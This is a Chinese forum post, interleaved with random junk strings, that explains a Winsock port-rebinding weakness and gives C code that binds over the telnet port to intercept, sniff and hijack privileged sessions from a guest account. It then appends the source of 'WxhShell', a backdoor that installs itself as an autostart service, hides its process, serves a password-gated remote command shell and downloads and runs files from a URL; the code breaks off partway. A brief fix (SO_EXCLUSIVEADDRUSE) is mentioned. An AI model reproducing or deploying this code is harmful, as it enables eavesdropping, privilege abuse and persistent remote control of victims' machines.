社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15397阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U|%y `PZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MK<VjpP0(  
T"GuE[?a  
  saddr.sin_family = AF_INET; 0kD8wj%  
r_kw "9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Sl{nS1q  
IHg)xZ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B~u_zZE  
Y)@PGxjz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0KF)+`CC>  
h CLXL  
  这意味着什么?意味着可以进行如下的攻击: Bn"r;pqWiT  
47iwb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Qjj:r~l  
3PonF4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &E{5k{Y  
xmDX1sL**  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x Qh?  
(Jw[}&+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sJlX ]\RLQ  
,qRSB>5c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sQA{[l!aj  
_e.b #{=9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $l&&y?()  
)Q\ZYCPOr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P#H#@:/3  
FGOa! G  
  #include {/BEO=8q2  
  #include wYf=(w \c  
  #include |zu>G9m  
  #include    UZdE ^Q[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (oxe\Qk  
  int main() x~GV#c  
  { &bJ98 Nxl  
  WORD wVersionRequested; !dLz ?0  
  DWORD ret;  hh"0z]  
  WSADATA wsaData; Yf:utCvv  
  BOOL val; oQDOwM,  
  SOCKADDR_IN saddr; Et'C4od s  
  SOCKADDR_IN scaddr;  &1Fcwj  
  int err; bE>3D#V<  
  SOCKET s; .;tO;j |6  
  SOCKET sc; nRQIrUNq  
  int caddsize; ](0 Vm_es  
  HANDLE mt; ) WIlj  
  DWORD tid;   >V(2Ke Y  
  wVersionRequested = MAKEWORD( 2, 2 ); U8-9^}DBA  
  err = WSAStartup( wVersionRequested, &wsaData ); 5?kA)!|UB  
  if ( err != 0 ) { (r[<g*+3  
  printf("error!WSAStartup failed!\n"); 8"LaP3U  
  return -1;  ioi  
  } FA^x|C=$  
  saddr.sin_family = AF_INET; nu0bJ:0aLd  
   |/fbU_d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \ b9,>  
,H[AC}z2X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `A <yDy  
  saddr.sin_port = htons(23); wI}'wALhA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Dlj=$25  
  { ap%o\&T;  
  printf("error!socket failed!\n"); MF\n@lX  
  return -1; SbnV U[  
  } \>=YxB q  
  val = TRUE; -N\{QX1Yd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /1li^</|p`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Rg[e~##  
  { Br~%S?4"o  
  printf("error!setsockopt failed!\n"); JNp`@`0V  
  return -1; iKabo,~  
  } M<$l&%<`G  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qfYb\b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 peqFa._W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6vaxp|D  
d7^XP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }ZmdX^xB  
  { e4)g F*  
  ret=GetLastError(); ~$\j$/A8/  
  printf("error!bind failed!\n"); E7eVg*Cvi  
  return -1; Fcr@Un'  
  } g?$9~/h :;  
  listen(s,2); CQ( @7  
  while(1)  ^,KR0  
  { *i?qOv /=>  
  caddsize = sizeof(scaddr); ,xh9,EpBk  
  //接受连接请求 yX~[yH+Pn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <@vE 3v;  
  if(sc!=INVALID_SOCKET) Uqpvj90sw  
  { tJu<#h X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;Z`)*TRp4  
  if(mt==NULL) %@&)t?/=  
  { <C>i~ <`d  
  printf("Thread Creat Failed!\n"); )[K3p{4  
  break; Azle ;\l`  
  } UKJY.W!w4  
  } >@L HJ61C  
  CloseHandle(mt); 3 #wj-  
  } xqtjtH9X  
  closesocket(s); y^A $bTQq  
  WSACleanup(); 6+u'Tcb  
  return 0; ~ /x42|t  
  }   h[8y$.YsC  
  DWORD WINAPI ClientThread(LPVOID lpParam) `l+SJLyJ%  
  { 1}uDgz^  
  SOCKET ss = (SOCKET)lpParam; |:#mw 1  
  SOCKET sc; =z3jFaZ  
  unsigned char buf[4096]; %KA/  
  SOCKADDR_IN saddr; (Lo2fY5  
  long num; yn#h$o<  
  DWORD val; =e;wEf%`  
  DWORD ret; UH.cn|R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V3oAZ34)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Vw*x3>`  
  saddr.sin_family = AF_INET; oSl>%}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *mQit/ k.  
  saddr.sin_port = htons(23); >&&xJ5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yx2.7h3  
  { ! -c*lb  
  printf("error!socket failed!\n"); fI1;&{f   
  return -1; &FrB6 y  
  } X4$e2f  
  val = 100; Z~(XyaN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [tzSr=,Cg  
  { j1 F+,   
  ret = GetLastError(); V)2_T!e%*  
  return -1; V8yX7yx  
  } vy@Lu cB  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zcKC5vqb  
  { yU|ji?)e  
  ret = GetLastError(); \vsrBM  
  return -1; 5G!U'.gr  
  } .dCP8|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S7a6ntei  
  { u mlZ(??.  
  printf("error!socket connect failed!\n"); *?D2gaCta  
  closesocket(sc); 5uo(z,WLR  
  closesocket(ss); > bF!Y]H  
  return -1; Yd;r8rN  
  } ~It+|X=Kx  
  while(1) UWp8I)p!\O  
  { txo?k/w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~Ls I<z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PAwg&._K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *'YNRM\}  
  num = recv(ss,buf,4096,0);  -C  ON  
  if(num>0) 23$hwr&G\  
  send(sc,buf,num,0); %"Q!5qH&  
  else if(num==0) {H; |G0tR  
  break; T(UYlLe  
  num = recv(sc,buf,4096,0); +~Lzsh"  
  if(num>0) :5M}Iz7  
  send(ss,buf,num,0); |/^aL j^u  
  else if(num==0) \a2oM$PX  
  break; 0~b6wuFl  
  } jL+}F/~r  
  closesocket(ss); K4/P(*r`  
  closesocket(sc); "tB"j9Jb  
  return 0 ; %C6zXiO"  
  } oHXW])[  
(l8r>V  
*7;*@H*jd  
========================================================== 1+tt'  
@GZa:(  
下边附上一个代码,,WXhSHELL u AS8F=9xP  
8N* -2/P&  
========================================================== csX*XiDWm  
OO\biYh o  
#include "stdafx.h" y7)[cvB  
"8iiRzt#  
#include <stdio.h> sx<+ *Trl  
#include <string.h> D2%G.z  
#include <windows.h> \v3> Eo[  
#include <winsock2.h> 8wpwJs&V  
#include <winsvc.h> iC|6roO!jk  
#include <urlmon.h> *CY6 a  
k3/JQ]'D  
#pragma comment (lib, "Ws2_32.lib") PP[)h,ZL*  
#pragma comment (lib, "urlmon.lib") ooU Sb  
%{~mk[d3  
#define MAX_USER   100 // 最大客户端连接数 ?sf2h:\N  
#define BUF_SOCK   200 // sock buffer ds$\vSd  
#define KEY_BUFF   255 // 输入 buffer />^`*e_  
zGL<m0C  
#define REBOOT     0   // 重启 N<Z)b!o%u  
#define SHUTDOWN   1   // 关机 E0)mI)RW.  
v>y8s&/  
#define DEF_PORT   5000 // 监听端口 n?e@):  
!OoaE* s  
#define REG_LEN     16   // 注册表键长度 `YmI'  
#define SVC_LEN     80   // NT服务名长度 vi!r8k  
H&yFSz}6a  
// 从dll定义API dy6F+V\DG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OZC/+"\,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j^$3vj5E[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d%_78nOh"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $~G0#JL  
}OP%p/eY  
// wxhshell配置信息 3<)@ll  
struct WSCFG { \p3nd!OIG  
  int ws_port;         // 监听端口 q(&^9"  
  char ws_passstr[REG_LEN]; // 口令 #}t 1   
  int ws_autoins;       // 安装标记, 1=yes 0=no Qor{1_h)+9  
  char ws_regname[REG_LEN]; // 注册表键名 ??\*D9rCn  
  char ws_svcname[REG_LEN]; // 服务名 ."F'5eTT~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^aD/ .  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^Z-. [Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3<jAp#bE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9o_ g_q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :@QK}qFP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h$aew63  
c_-" Qo  
}; 1%/ NL?8#  
zO).<xIq+  
// default Wxhshell configuration 6_9:Eb=^v!  
struct WSCFG wscfg={DEF_PORT, qUEd E`B  
    "xuhuanlingzhe", y,y/PyN)  
    1,  VNr  
    "Wxhshell", >ggk>s|  
    "Wxhshell", U+9- li  
            "WxhShell Service", KD%xo/Z.  
    "Wrsky Windows CmdShell Service", cYq']$]  
    "Please Input Your Password: ", !!-}ttFA  
  1, _A;vSp.`  
  "http://www.wrsky.com/wxhshell.exe",  e8XM=$@  
  "Wxhshell.exe" {FV,j.D  
    }; )tN?: l  
Giy3eva2  
// 消息定义模块 ,u ?wYW;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C}(<PNT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vDK:v$g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r6F{  
char *msg_ws_ext="\n\rExit."; zJnL<Q  
char *msg_ws_end="\n\rQuit."; ueWR/  
char *msg_ws_boot="\n\rReboot...";  l5ZADK4  
char *msg_ws_poff="\n\rShutdown..."; 9:9N)cNvfX  
char *msg_ws_down="\n\rSave to "; JAGi""3HG  
;xW8Z<\-  
char *msg_ws_err="\n\rErr!"; 3:]{(@J  
char *msg_ws_ok="\n\rOK!";  95.qAFB1  
pgz:F#>  
char ExeFile[MAX_PATH]; z9k*1:  
int nUser = 0; MO));M)  
HANDLE handles[MAX_USER]; ShL1'Z} ^{  
int OsIsNt; Cbgj@4H  
1&X}1  
SERVICE_STATUS       serviceStatus; N `,7FI}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 936Ff*%(l  
d'N(w7-Y  
// 函数声明 Y=P9:unG  
int Install(void); %+AS0 JhB  
int Uninstall(void); k%EWkM)?  
int DownloadFile(char *sURL, SOCKET wsh); ,~?A,9?%:  
int Boot(int flag); 8 *4@-3Sx  
void HideProc(void); JDC=J(B  
int GetOsVer(void); ?o2;SY(-  
int Wxhshell(SOCKET wsl); @wd!&%yzO  
void TalkWithClient(void *cs); o/tVcv  
int CmdShell(SOCKET sock); b\SXZN)Be  
int StartFromService(void); 8fJR{jD(s  
int StartWxhshell(LPSTR lpCmdLine); QRsqPh&-  
a(PjcQ4dY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RpHpMtvNo/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 07.nq;/R  
/HB+ami,  
// 数据结构和表定义 u/z,92mmS  
SERVICE_TABLE_ENTRY DispatchTable[] = @MNl*~'$.[  
{ 1U717u  
{wscfg.ws_svcname, NTServiceMain}, mDb-=[W5  
{NULL, NULL} ;V|M3  
}; 7MKD_`g  
n?y'c^  
// 自我安装 m(2G*}  
int Install(void) L_tjcfVo  
{ z[WC7hvU  
  char svExeFile[MAX_PATH]; mZ`1JO9  
  HKEY key; oHxGbvQc  
  strcpy(svExeFile,ExeFile); v*&Uk '4E  
^{),+S  
// 如果是win9x系统,修改注册表设为自启动 1Z\(:ab13  
if(!OsIsNt) { RxlszyE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J$1j-\KS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IO}+[%ptc*  
  RegCloseKey(key); zx ct(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BmJkt3j."  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q!ee g  
  RegCloseKey(key); *y)4D[ z-  
  return 0; $8jaapNm@  
    } j%#?m2J}  
  } ?lF mXZy`  
} H":/Ckok  
else { `Ac:f5a  
BTO A &Ag  
// 如果是NT以上系统,安装为系统服务 R78!x*U}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U$A/bEhw  
if (schSCManager!=0) \^Ep>Pq`]  
{ "]v uD  
  SC_HANDLE schService = CreateService [.{^"<Z<  
  ( _~juv&  
  schSCManager, lco~X DI  
  wscfg.ws_svcname, z9^c]U U)E  
  wscfg.ws_svcdisp, DG3[^B  
  SERVICE_ALL_ACCESS, PXa5g5 !  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5f8"j$Az  
  SERVICE_AUTO_START, nlaG<L#  
  SERVICE_ERROR_NORMAL, R|-6o)$  
  svExeFile, {z=j_;<]  
  NULL, xsYE=^uv  
  NULL, R_7 6W&  
  NULL, mU>&ql?e  
  NULL, vuXS/ d  
  NULL q1STRYb   
  ); DTPay1]6  
  if (schService!=0) {wcO[bN  
  { &D]&UQf  
  CloseServiceHandle(schService); #hpIyy%n  
  CloseServiceHandle(schSCManager); 3!>/smb !  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k'g$2  
  strcat(svExeFile,wscfg.ws_svcname);  '6O|H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <8f(eP\*F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b"Zq0M0 l  
  RegCloseKey(key); *_ PPrx5  
  return 0; B=r0?%DX"1  
    } l nfm0  
  } EA6t36|TX  
  CloseServiceHandle(schSCManager); o!=WFAi[pX  
} inZi3@h)T  
} '[Xl>Z[  
3^XVQS***  
return 1; `os8;`G  
} 6%E~p0)i%  
Vg{Zv4+t  
// 自我卸载 Lbsr_*4t  
int Uninstall(void) eHUg-\dy  
{ #MglHQO+  
  HKEY key; 9s(i`RTM  
gJh}CrU-  
if(!OsIsNt) { \"'\MA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }"n7~|  
  RegDeleteValue(key,wscfg.ws_regname); ;gUXvx~~r  
  RegCloseKey(key); d/]|657u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'y.JcS!|  
  RegDeleteValue(key,wscfg.ws_regname); x#mtS-sw2Q  
  RegCloseKey(key); qU-!7=}7  
  return 0; ;%W dvnW  
  } 1A^1@^{m'  
} 5,R`@&K3D  
} E M Q4yK  
else { \_ 9rr6^ "  
#9\THfb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ) |MJnx9  
if (schSCManager!=0) NI.`mc6X d  
{ Z(; AyTXA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `|EH[W&y  
  if (schService!=0) # $~ oe"  
  { @1g&Z}L o  
  if(DeleteService(schService)!=0) { /zT`Y=1  
  CloseServiceHandle(schService); _B[WY  
  CloseServiceHandle(schSCManager); 1"YpO"Rh  
  return 0; \ I:.<2i  
  } 'MN1A;IJ  
  CloseServiceHandle(schService); *ik/p  
  } Xa,\EEmQ  
  CloseServiceHandle(schSCManager); 5g>wV  
} ^N-'xy  
} \bold"  
/2XW  
return 1; 'zxoRc-b@N  
} [zh"x#AyI  
"SR5wr   
// 从指定url下载文件 opD-vDa h  
int DownloadFile(char *sURL, SOCKET wsh) V`bs&5#Sx  
{ ~O03Sit-  
  HRESULT hr; /:p8I6;  
char seps[]= "/"; n8u*JeN  
char *token; u7].}60.'  
char *file; Qn|+eLY  
char myURL[MAX_PATH]; 5I' d PNf  
char myFILE[MAX_PATH]; ;#/0b{XFj  
qyyq&  
strcpy(myURL,sURL); BQ#L+9%  
  token=strtok(myURL,seps); _kN*e:t  
  while(token!=NULL) $Q/Ya@o  
  { hO( RZ '{  
    file=token; ;LMWNy4  
  token=strtok(NULL,seps); ;`UecLb#  
  } j O8k6<l  
c-8!#~M(  
GetCurrentDirectory(MAX_PATH,myFILE); 5<+KR.W  
strcat(myFILE, "\\"); *b)Q5dw@1  
strcat(myFILE, file); *#&*`iJ(  
  send(wsh,myFILE,strlen(myFILE),0); e@n!x}t8  
send(wsh,"...",3,0); KnzsHli,~k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >M;u*Go`QO  
  if(hr==S_OK) ]R IVc3?;$  
return 0; P Sx304  
else 8;"*6vHZ  
return 1; jH *)%n5,\  
N1x@-/xa|  
} )=^w3y  
t"AzI8O  
// 系统电源模块 jirbUl  
int Boot(int flag) :}q\tNY<  
{ 0q6I;$H  
  HANDLE hToken; )^O-X.1  
  TOKEN_PRIVILEGES tkp; AXh3LA  
:ONuWNY N  
  if(OsIsNt) { y LgKS8b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g#'fd/?Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *L;pcg8{  
    tkp.PrivilegeCount = 1; {NY~JFM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }6CXJ+-UR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,bVS.A'o  
if(flag==REBOOT) { EAD0<I<>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5Q$r@&qp  
  return 0; O\4+_y  
} s !hI:$J.  
else { ;naq-%'Sg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5qd_>UHp  
  return 0; =CKuiO.j  
} 2 ]V>J  
  } c:llOHA  
  else { 0eqi1;$b]  
if(flag==REBOOT) { 9|N" @0<B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Hbjb7Y?[  
  return 0; )+n,5W  
} mvHh"NJ  
else { >~5lYD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q%& _On  
  return 0; <G~} N  
} cBLR#Yu;O5  
} }XX~ W}M(\  
h"%|\o+3  
return 1; nT.L}1@  
} j+DE|Q&]I  
Q_&}^  
// win9x进程隐藏模块 YgE]d?_h  
void HideProc(void) `fBG~NDw  
{ 0'?V|V=v  
jM5_8nS&d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nG"tO'J6  
  if ( hKernel != NULL ) 1t/dxB;  
  { p?+lAbe6H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (jU/Wj!q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l GdM80f  
    FreeLibrary(hKernel); j5L)N  
  } :s'o~   
L([E98fo  
return; $_Y/'IN`k  
} ic%?uWN  
ry.;u*F  
// 获取操作系统版本 ^"3\iA:  
int GetOsVer(void) 06 QU  
{ SArfczoB  
  OSVERSIONINFO winfo; e8$l0gzaD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =%!e(N'p  
  GetVersionEx(&winfo); CY34X2F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IQ ){(Y  
  return 1; Q*]$)D3n  
  else Z+g1~\  
  return 0; kmryu=  
} h}<0/  
{jvOHu  
// 客户端句柄模块 9]"S:{KSCn  
int Wxhshell(SOCKET wsl) rkkU"l$v  
{ P Q7A~dw9  
  SOCKET wsh; Y[2Wt%2\6  
  struct sockaddr_in client; <"W?<VjO  
  DWORD myID; Ng\/)^  
pgT9hle/  
  while(nUser<MAX_USER) dd]?9  
{ yQ9ZhdQS  
  int nSize=sizeof(client); oizT-8i@N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [r(Qs|  
  if(wsh==INVALID_SOCKET) return 1; l71 gf.4g  
)l_@t(_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "NDxgJ%J35  
if(handles[nUser]==0) #/|75 4]]  
  closesocket(wsh); \#CM <%  
else D3`}4 A  
  nUser++; f|U0s  
  } |g%mP1O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j Fma|y  
Ur^j$B}  
  return 0; 77V .["=7  
} 9IA$z\<<w  
yPV' pT)  
// 关闭 socket c"7j3/p  
void CloseIt(SOCKET wsh) M`vyTuO3SO  
{ YzAFC11,  
closesocket(wsh); X eoJ$PfT  
nUser--; JQ@fuo %  
ExitThread(0); lv]quloT  
} 1S0pd-i  
Y#FO5O%W  
// 客户端请求句柄 mf' ]O,  
void TalkWithClient(void *cs) ;gMgj$mI  
{ ;Wc4qJ.@  
0)|Q6*E>  
  SOCKET wsh=(SOCKET)cs; Sw8kIC  
  char pwd[SVC_LEN]; w5KPB5/zu  
  char cmd[KEY_BUFF]; at6149B\)  
char chr[1]; /\Z J   
int i,j; dRI^@n  
w8iR|TV  
  while (nUser < MAX_USER) { 0:&ZnE}##  
Zj*\"Ol  
if(wscfg.ws_passstr) { 5\Fz!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W0XF~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sm-wH^~KA  
  //ZeroMemory(pwd,KEY_BUFF); J:j<"uPm  
      i=0; I]nHbghcW  
  while(i<SVC_LEN) { 0)!Ll*L!p  
`zpbnxOL$T  
  // 设置超时 !}KqB8;  
  fd_set FdRead; k+^'?D--'P  
  struct timeval TimeOut; N ]N4^A'  
  FD_ZERO(&FdRead); cK`"lxO  
  FD_SET(wsh,&FdRead); |3hY6aty  
  TimeOut.tv_sec=8; xJZ@DR,#  
  TimeOut.tv_usec=0; %ZP+zh n}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9\;|x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); otJ!UfpR8  
AVw%w&|%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Gk/k}1  
  pwd=chr[0]; <spZ! #o  
  if(chr[0]==0xd || chr[0]==0xa) { sZ&G%o  
  pwd=0; _7T@5\b:;  
  break; P u0uKE  
  } o4b~4 h{%  
  i++; s;flzp8  
    } w$Ot{i|$(  
2[fN\e{  
  // 如果是非法用户,关闭 socket Q&'}BeUbm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RW$:9~  
} $,>@o=)_  
4*.K'(S5fx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #-% A[7Cdp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SJt<+kg  
\dQx+f&t  
while(1) { 6x)$Dl  
KInk^`C/H  
  ZeroMemory(cmd,KEY_BUFF); P^`duZ{T  
8vSse  
      // 自动支持客户端 telnet标准   wCf~O'XLw  
  j=0; R"MRnr_4K  
  while(j<KEY_BUFF) { ^u}L;`L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >gwz,{  
  cmd[j]=chr[0]; K$K^=> I"o  
  if(chr[0]==0xa || chr[0]==0xd) { @+F4YJmB?l  
  cmd[j]=0; hI?sOR!  
  break; UO*Ymj 1  
  } ,j:|w+l  
  j++; <GHYt#GIZ+  
    } 5]I|DHmu  
-<v~snq'  
  // 下载文件 R" )bDy?  
  if(strstr(cmd,"http://")) {  c gzwx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /&F,V+x  
  if(DownloadFile(cmd,wsh)) N,2s?Y_!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ")O`mXg-  
  else #_Z$2L"U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u]u[(K5F  
  } ay "'#[  
  else { 7XKY]|S,'  
cLPkK3O\=  
    switch(cmd[0]) { @/ZF` :   
  Q+b D}emd  
  // 帮助 [.RO'>2z  
  case '?': { Q#h 9n]5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .s+aZwTMT  
    break; s&\I=J.  
  } jM-)BP6f4  
  // 安装 +xc'1id@[  
  case 'i': { /%_OW@ ?  
    if(Install()) `n$5+a+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bAKiq}xG%i  
    else OHiQ7#y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z'uK3ng\hH  
    break; vad12WrG<  
    } ,g%&|FAP  
  // 卸载 WTImRXK4  
  case 'r': { *@d&5  
    if(Uninstall()) |t; ~:A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L\y;LSTU  
    else o9cM{ya/>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (JM4R8fR&  
    break; rQ7+q;[J  
    } lA>DS#_  
  // 显示 wxhshell 所在路径 /-#I_>:8'  
  case 'p': { +cD!1IT:  
    char svExeFile[MAX_PATH]; CHV*vU<N  
    strcpy(svExeFile,"\n\r"); _`64gS}^  
      strcat(svExeFile,ExeFile); PJ='tJDj  
        send(wsh,svExeFile,strlen(svExeFile),0); N^Bo .U0\  
    break; "M|zv  
    } `,P h/oM  
  // 重启 hWH:wB  
  case 'b': { [HCAmnb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P-ri=E}>  
    if(Boot(REBOOT)) a33TPoj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $H+VA@_  
